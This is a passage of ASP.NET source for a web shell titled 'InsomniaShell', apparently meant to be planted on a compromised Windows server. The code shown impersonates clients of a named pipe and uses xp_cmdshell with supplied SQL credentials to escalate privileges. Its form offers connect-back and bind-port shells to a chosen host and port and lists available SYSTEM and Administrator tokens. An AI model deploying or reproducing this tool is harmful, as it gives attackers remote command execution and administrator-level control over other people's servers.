        Response.Output.Write("+ Creating Named Pipe: {0}<br>", pipeName);



        hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, 2, 0, 0, 0, secAttr);



        // Check value

        if (hPipe.ToInt32() == INVALID_HANDLE_VALUE)

        {

            Response.Write("- Failed to create named pipe:");

            Response.End();

        }



        Response.Output.Write("+ Created Named Pipe: {0}<br>", pipeName);



        // wait for client to connect   

        Response.Write("+ Waiting for connection...<br>");



        ConnectNamedPipe(hPipe, 0);



        // Get connected user info

        StringBuilder userName = new StringBuilder(256);



        if (!GetNamedPipeHandleState(hPipe, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, userName, userName.Capacity))

        {

            Response.Write("- Error Getting User Info<br>");

            Response.End();

        }

        Response.Output.Write("+ Connection From Client: {0}<br>", userName);



        // assume the identity of the client //

        Response.Write("+ Impersonating client...<br>");

        if (!ImpersonateNamedPipeClient(hPipe))

        {

            Response.Write("- Failed to impersonate the named pipe.<br>");

            CloseHandle(hPipe);

            Response.End();

        }

      



        CloseHandle(hPipe);



        

    }



    protected void butSQLRequest_Click(object sender, EventArgs e)

    {



        String pipeName = "\\\\.\\pipe\\" + txtPipeName.Text;

        String command = "exec master..xp_cmdshell 'dir > \\\\127.0.0.1\\pipe\\" + txtPipeName.Text + "'";



        // Make a local sql request to the pipe

        

        String connectionString = "server=127.0.0.1;database=master;uid=" + txtSQLUser.Text + ";password=" + txtSQLPass.Text;

        

        // create a new SqlConnection object with the appropriate connection string 

        SqlConnection sqlConn = new SqlConnection(connectionString);



        Response.Output.Write("+ Sending {0}<br>", command);

        // open the connection 

        sqlConn.Open();



        // do some operations ...

        // create the command object 

        SqlCommand sqlComm = new SqlCommand(command, sqlConn);

        sqlComm.ExecuteNonQuery();

        // close the connection

        sqlConn.Close();

    }

  

</script>



<html>



<head runat="server">

    <title>InsomniaShell</title>

</head>

<body>

    <form id="form1" runat="server">

    <div>

    <asp:Label ID="Label10" runat="server" Height="26px" Text="InsomniaShell" Width="278px" Font-Bold="True"></asp:Label><br />

    <asp:Label ID="Label5" runat="server" Height="26px" Text="Current Context" Width="278px" Font-Bold="True"></asp:Label><br />

        <%        DisplayCurrentContext();%>

        <br />

        <asp:Label ID="Label1" runat="server" Height="26px" Text="Select Your Shell" Width="278px" Font-Bold="True"></asp:Label><br />

        <br />

        <asp:Label ID="Label2" runat="server" Text="Host" Width="198px"></asp:Label>

        <asp:Label ID="Label3" runat="server" Text="Port" Width="101px"></asp:Label><br />

        <asp:TextBox ID="txtRemoteHost" runat="server" Width="191px"></asp:TextBox>

        <asp:TextBox ID="txtRemotePort" runat="server" Width="94px"></asp:TextBox><br />

        <asp:Button ID="butConnectBack" runat="server" OnClick="butConnectBack_Click" Text="Connect Back Shell"

            Width="302px" /><br />

        <br />

        <asp:Label ID="Port" runat="server" Text="Port" Width="189px"></asp:Label><br />

        <asp:TextBox ID="txtBindPort" runat="server" Width="91px"></asp:TextBox><br />

        <asp:Button ID="butBindPort" runat="server" OnClick="butBindPort_Click" Text="Bind Port Shell"

            Width="299px" /><br />

        <br />

        

        <asp:Label ID="Label7" runat="server" Height="26px" Text="Named Pipe Attack" Width="278px" Font-Bold="True"></asp:Label><br />

        <br />

        <asp:Label ID="Label6" runat="server" Text="Pipe Name" Width="198px"></asp:Label><br />

        <asp:TextBox ID="txtPipeName" runat="server" Text="InsomniaShell" Width="191px"></asp:TextBox><br />

        <asp:Button ID="Button1" runat="server" OnClick="butCreateNamedPipe_Click" Text="Create Named Pipe" Width="400px" /><br />

        <asp:Label ID="Label8" runat="server" Text="SQL User" Width="198px"></asp:Label>

        <asp:Label ID="Label9" runat="server" Text="SQL Pass" Width="101px"></asp:Label><br />

        <asp:TextBox ID="txtSQLUser" runat="server" Width="191px">sa</asp:TextBox>

        <asp:TextBox ID="txtSQLPass" runat="server" Width="94px"></asp:TextBox><br />

        <asp:Button ID="Button3" runat="server" OnClick="butSQLRequest_Click" Text="Make SQL Request" Width="400px" /><br />

        <br />            

        

        <asp:Label ID="Label4" runat="server" Height="26px" Text="Available SYSTEM/Administrator Tokens" Width="400px" Font-Bold="True"></asp:Label><br />

        <br />

        <%   DisplayAvailableTokens(); %>

        

        </div>

    </form>

</body>

</html>